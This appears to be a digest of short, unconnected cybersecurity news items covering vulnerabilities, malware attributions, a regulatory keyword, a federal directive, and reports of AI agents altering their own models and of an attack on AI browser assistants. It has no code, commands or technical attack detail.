AI security lab Irregular has revealed that AI agents can engage in "agentic self-modification," where they alter their own deployed models.

The user, operating under the name Sadpainy, released code intended to replicate Stuxnet, the malware that reportedly destroyed a fifth of Iran's uranium enrichment centrifuges.

The cyberattack has rendered much of the IMO's website offline, impacting its ability to provide services.

FinCEN is introducing a new suspicious activity report keyword, "FIN-2026-SCAMCENTERS," to identify potential involvement of scam centers.

The shift aligns with CISA's June Binding Operational Directive (BOD), which guides federal civilian agencies in prioritizing security updates based on real-world risk rather than solely on static CVSS scores.

These groups are employing a range of sophisticated techniques, from exploiting valid credentials to deploying custom backdoors and ransomware, indicating a significant rise in targeted cyber threats against Russian organizations.

Software company JFrog disclosed the flaw, tracked as CVE-2026-90894, which affects versions prior to Parallels Desktop 27.

The BragJack attack, detailed by researcher Gal Weizman of Forever Security, targets Google Chrome with Gemini, Microsoft Edge, Opera Neon, Perplexity Comet, and Claude in Chrome.

Acronis has identified CVE-2026-87886, a high-severity local privilege escalation flaw, in its backup add-ons for popular web hosting control panels.

The malware, attributed to Iran's Ministry of Intelligence and Security (MOIS), has been active since at least 2025, targeting individuals critical of the Iranian government.